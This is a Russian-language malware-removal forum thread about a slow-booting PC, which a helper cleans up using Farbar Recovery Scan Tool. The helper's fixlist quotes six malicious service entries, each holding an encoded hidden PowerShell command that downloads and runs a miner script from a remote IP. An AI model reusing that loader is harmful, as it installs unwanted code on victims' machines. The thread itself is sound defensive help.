Перейти к содержанию

Долго загружается компьютер


Рекомендуемые сообщения

При включенной локальной сети с доступом к Интернет компьютер загружается около 15 минут. Если есть возможность, прошу помощи.

CollectionLog-2018.01.27-10.13.zip

Ссылка на комментарий
Поделиться на другие сайты

Скачайте Farbar Recovery Scan Tool NAAC5Ba.png и сохраните на Рабочем столе.

  • Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.

3munStB.png

3. Нажмите кнопку Scan.

4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.

5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).

6. Отчеты, полученные в пп. 4 и 5, заархивируйте (в один архив) и прикрепите к сообщению.

Ссылка на комментарий
Поделиться на другие сайты

Скачайте Farbar Recovery Scan Tool NAAC5Ba.png и сохраните на Рабочем столе.

  • Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.

3munStB.png

3. Нажмите кнопку Scan.

4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.

5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).

6. Отчеты, полученные в пп. 4 и 5, заархивируйте (в один архив) и прикрепите к сообщению.

 

Архив.rar

Изменено пользователем iceberg31
Ссылка на комментарий
Поделиться на другие сайты

1. Откройте Блокнот и скопируйте в него приведенный ниже текст

CreateRestorePoint:
S2 AjPo; cmd /c powershell.exe -WindowStyle Hidden -encodedCommand JAB1AD0AJwBoAHQAdABwADoALwAvADQANgAuADIAMQAuADEANQAwAC4AMQA1ADkALwBtAGkAbgBlAHIAZABfAG4ALgBwAHMAMQAnAAoAYwBkACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAACgB0AHIAeQB7ACQAYQA9ACgAdwBnAGUAdAAgACQAdQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAGMAbwBuAHQAZQBuAHQAOwAkAGMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAFsAMgAuAC4AJABhAC4ATABlAG4AZwB0AGgAXQApAH0ACgBjAGEAdABjAGgAewAkAHQAPQAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAYQAuAHQAeAB0ACcAOwAgAGIAaQB0AHMAYQBkAG0AaQBuACAAIgAvAHQAcgBhAG4AcwBmAGUAcgAiACAAIgBiACIAIAAiAC8AZABvAHcAbgBsAG8AYQBkACIAIAAkAHUAIAAkAHQAOwAkAGMAIAA9ACAAYwBhAHQAIAAkAHQAfQAKAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAiAC0AZQBuAGMAbwBkAGUAZABDAG8AbQAiACwAJABjACAALQBXAGkAbgBkAG8AdwBTAHQAIABIAGkAZABkAGUAbgA= [X]
S2 CquQ; cmd /c powershell.exe -WindowStyle Hidden -encodedCommand JAB1AD0AJwBoAHQAdABwADoALwAvADQANgAuADIAMQAuADEANQAwAC4AMQA1ADkALwBtAGkAbgBlAHIAZABfAG4ALgBwAHMAMQAnAAoAYwBkACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAACgB0AHIAeQB7ACQAYQA9ACgAdwBnAGUAdAAgACQAdQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAGMAbwBuAHQAZQBuAHQAOwAkAGMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAFsAMgAuAC4AJABhAC4ATABlAG4AZwB0AGgAXQApAH0ACgBjAGEAdABjAGgAewAkAHQAPQAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAYQAuAHQAeAB0ACcAOwAgAGIAaQB0AHMAYQBkAG0AaQBuACAAIgAvAHQAcgBhAG4AcwBmAGUAcgAiACAAIgBiACIAIAAiAC8AZABvAHcAbgBsAG8AYQBkACIAIAAkAHUAIAAkAHQAOwAkAGMAIAA9ACAAYwBhAHQAIAAkAHQAfQAKAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAiAC0AZQBuAGMAbwBkAGUAZABDAG8AbQAiACwAJABjACAALQBXAGkAbgBkAG8AdwBTAHQAIABIAGkAZABkAGUAbgA= [X]
S2 muHP; cmd /c powershell.exe -WindowStyle Hidden -encodedCommand JAB1AD0AJwBoAHQAdABwADoALwAvADQANgAuADIAMQAuADEANQAwAC4AMQA1ADkALwBtAGkAbgBlAHIAZABfAG4ALgBwAHMAMQAnAAoAYwBkACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAACgB0AHIAeQB7ACQAYQA9ACgAdwBnAGUAdAAgACQAdQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAGMAbwBuAHQAZQBuAHQAOwAkAGMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAFsAMgAuAC4AJABhAC4ATABlAG4AZwB0AGgAXQApAH0ACgBjAGEAdABjAGgAewAkAHQAPQAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAYQAuAHQAeAB0ACcAOwAgAGIAaQB0AHMAYQBkAG0AaQBuACAAIgAvAHQAcgBhAG4AcwBmAGUAcgAiACAAIgBiACIAIAAiAC8AZABvAHcAbgBsAG8AYQBkACIAIAAkAHUAIAAkAHQAOwAkAGMAIAA9ACAAYwBhAHQAIAAkAHQAfQAKAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAiAC0AZQBuAGMAbwBkAGUAZABDAG8AbQAiACwAJABjACAALQBXAGkAbgBkAG8AdwBTAHQAIABIAGkAZABkAGUAbgA= [X]
S2 PYse; cmd /c powershell.exe -WindowStyle Hidden -encodedCommand JAB1AD0AJwBoAHQAdABwADoALwAvADQANgAuADIAMQAuADEANQAwAC4AMQA1ADkALwBtAGkAbgBlAHIAZABfAG4ALgBwAHMAMQAnAAoAYwBkACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAACgB0AHIAeQB7ACQAYQA9ACgAdwBnAGUAdAAgACQAdQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAGMAbwBuAHQAZQBuAHQAOwAkAGMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAFsAMgAuAC4AJABhAC4ATABlAG4AZwB0AGgAXQApAH0ACgBjAGEAdABjAGgAewAkAHQAPQAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAYQAuAHQAeAB0ACcAOwAgAGIAaQB0AHMAYQBkAG0AaQBuACAAIgAvAHQAcgBhAG4AcwBmAGUAcgAiACAAIgBiACIAIAAiAC8AZABvAHcAbgBsAG8AYQBkACIAIAAkAHUAIAAkAHQAOwAkAGMAIAA9ACAAYwBhAHQAIAAkAHQAfQAKAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAiAC0AZQBuAGMAbwBkAGUAZABDAG8AbQAiACwAJABjACAALQBXAGkAbgBkAG8AdwBTAHQAIABIAGkAZABkAGUAbgA= [X]
S2 rKQZ; cmd /c powershell.exe -WindowStyle Hidden -encodedCommand JAB1AD0AJwBoAHQAdABwADoALwAvADQANgAuADIAMQAuADEANQAwAC4AMQA1ADkALwBtAGkAbgBlAHIAZABfAG4ALgBwAHMAMQAnAAoAYwBkACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAACgB0AHIAeQB7ACQAYQA9ACgAdwBnAGUAdAAgACQAdQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAGMAbwBuAHQAZQBuAHQAOwAkAGMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAFsAMgAuAC4AJABhAC4ATABlAG4AZwB0AGgAXQApAH0ACgBjAGEAdABjAGgAewAkAHQAPQAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAYQAuAHQAeAB0ACcAOwAgAGIAaQB0AHMAYQBkAG0AaQBuACAAIgAvAHQAcgBhAG4AcwBmAGUAcgAiACAAIgBiACIAIAAiAC8AZABvAHcAbgBsAG8AYQBkACIAIAAkAHUAIAAkAHQAOwAkAGMAIAA9ACAAYwBhAHQAIAAkAHQAfQAKAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAiAC0AZQBuAGMAbwBkAGUAZABDAG8AbQAiACwAJABjACAALQBXAGkAbgBkAG8AdwBTAHQAIABIAGkAZABkAGUAbgA= [X]
S2 tRQT; cmd /c powershell.exe -WindowStyle Hidden -encodedCommand JAB1AD0AJwBoAHQAdABwADoALwAvADQANgAuADIAMQAuADEANQAwAC4AMQA1ADkALwBtAGkAbgBlAHIAZABfAG4ALgBwAHMAMQAnAAoAYwBkACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAACgB0AHIAeQB7ACQAYQA9ACgAdwBnAGUAdAAgACQAdQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAGMAbwBuAHQAZQBuAHQAOwAkAGMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAFsAMgAuAC4AJABhAC4ATABlAG4AZwB0AGgAXQApAH0ACgBjAGEAdABjAGgAewAkAHQAPQAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAYQAuAHQAeAB0ACcAOwAgAGIAaQB0AHMAYQBkAG0AaQBuACAAIgAvAHQAcgBhAG4AcwBmAGUAcgAiACAAIgBiACIAIAAiAC8AZABvAHcAbgBsAG8AYQBkACIAIAAkAHUAIAAkAHQAOwAkAGMAIAA9ACAAYwBhAHQAIAAkAHQAfQAKAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAiAC0AZQBuAGMAbwBkAGUAZABDAG8AbQAiACwAJABjACAALQBXAGkAbgBkAG8AdwBTAHQAIABIAGkAZABkAGUAbgA= [X]
Task: {88F32623-5A29-46AD-8A07-4E5266C3DB3D} - \Microsoft\Windows\Windows Activation Technologies\ValidationTaskDeadline -> No File <==== ATTENTION
Task: {A2979E37-9F6F-4B9B-8C3D-12A9F2F35CF9} - \fbfcbda6-0c79-575f-cb5c12ed896a5188 -> No File <==== ATTENTION
Task: {B9D4DB31-F629-4C7D-A0D1-EBE45474D309} - \Microsoft\Windows\Windows Activation Technologies\ValidationTask -> No File <==== ATTENTION
Reboot:
2. Нажмите ФайлСохранить как

3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool

4. Укажите Тип файлаВсе файлы (*.*)

5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить

6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

  • Обратите внимание: будет выполнена перезагрузка компьютера.
Ссылка на комментарий
Поделиться на другие сайты

Компьютер уже загрузился мгновенно, но выскочило обновление АБОД

fixlist.txt

Изменено пользователем iceberg31
Ссылка на комментарий
Поделиться на другие сайты

Если удаленные записи к обновлению имели отношение, то вот Вам и причина тормозов.

 

Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе.

  • Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/10);
  • Если увидите предупреждение от вашего фаервола относительно программы SecurityCheck, не блокируйте ее работу;
  • Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
  • Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt;
  • Процитируйте содержимое файла в своем следующем сообщении.
Ссылка на комментарий
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти
  • Похожий контент

    • Алеся Сорокина
      Автор Алеся Сорокина
      Операционная система была переустановлена. Письмо и примеры файлов приложили. Пароль на архив virus
      virus.zip
    • Quattro
      Автор Quattro
      Поймал откуда то фейковый Adblock, он установился во все браузеры. Самостоятельно удалил все расширения, вроде кое как почистил реестр, удалил из планировщика заданий, проверил несколькими программами и бестолку. Все равно при каждом запуске системы создаются вот такие файлы как на скрине. Каждый раз разное название, лежат одинаково в одном и том же месте для каждого браузера. Пользователи - Юзернейм - Appdata - Local - yandex - Default - extensions. Помогите удалить, уже всю голову изломал себе

      CollectionLog-2025.07.24-20.21.zip
    • Technician6
      Автор Technician6
      Имеем корп сервер KSC14 - компьютеры видны, но в управляемых, когда переносишь их в нужную группу, они просто не переносятся и вываливается ошибка как на скрине.

       
      ни через веб интерфейс ни через консоль не переносится. Вопрос, как исправить?
    • Владимир Д.
      Автор Владимир Д.
      В выходные подобрали пароль от входа через удаленный рабочий стол и зашифровали компьютер. Также третьими лицами были внесены изменения в систему, при загрузке появляется сообщение (см. Изображение WhatsApp 2025-08-11.jpg), а вход под другой учетной записи не возможен, ошибка - Службе "Служба профилей пользователей" не удалось войти в систему. Невозможно загрузить профиль пользователя.
      Сканирование Farbar Recovery Scan Tool производилось из среды восстановления Windows.
       

      FRST.rar
    • Viacheslau T
      Автор Viacheslau T
      Здравствуйте.

      На днях знакомый прислал книгу которую я искал, но как оказалось, он ее скачал с сайта-клона flibusta.su который наполнен вирусами и майнерами.
      Файл был открыт, но касперский вовремя его снес. Однако, видимо проблема прошла глубже.
      При старте пк получаю уведомления от касперского(см 1 изобр.), что "Остановлен переход на сайт", но самого перехода от моего лица не происходит.
      Перед созданием темы прогнал Dr.Web CureIt! и KVRM(2 и 3 изображ.). Первая утилита ничего не нашла, вторая выдала список ошибок обработки файлов, но возможно это связанно с тем, что эти приложения были активны.
      Пока-что не собирал логи, т.к. не до конца понимаю, если я остановлю касперкий, скрипт подтянет майнер с вирусного сайта или нет?
      Описание события:
      ```
      Событие: Остановлен переход на сайт
      Пользователь: DESKTOP-579T290\tsvirkovv
      Тип пользователя: Инициатор
      Имя приложения: MSPCManager.exe
      Путь к приложению: C:\Program Files\WindowsApps\Microsoft.MicrosoftPCManager_3.17.10.0_x64__8wekyb3d8bbwe\PCManager
      Компонент: Интернет-защита
      Описание результата: Запрещено
      Тип: Вредоносная ссылка
      Название: flibusta.su
      Точность: Точно
      Степень угрозы: Высокая
      Тип объекта: Веб-страница
      Имя объекта: flibusta.su
      Причина: Базы
      Дата выпуска баз: Вчера, 09.08.2025 15:47:00

      Событие: Остановлен переход на сайт
      Пользователь: DESKTOP-579T290\tsvirkovv
      Тип пользователя: Инициатор
      Имя приложения: MSPCManager.exe
      Путь к приложению: C:\Program Files\WindowsApps\Microsoft.MicrosoftPCManager_3.17.10.0_x64__8wekyb3d8bbwe\PCManager
      Компонент: Интернет-защита
      Описание результата: Запрещено
      Тип: Вредоносная ссылка
      Название: http://flibusta.su/favicon.ico
      Точность: Точно
      Степень угрозы: Высокая
      Тип объекта: Веб-страница
      Имя объекта: favicon.ico
      Путь к объекту: http://flibusta.su
      Причина: Базы
      Дата выпуска баз: Вчера, 09.08.2025 15:47:00
      ```
      Пожалуйста, сориентируйте порядок действий и проверок, которые нужно провести с минимальными рисками, т.к. не хотелось бы потерять систему.



×
×
  • Создать...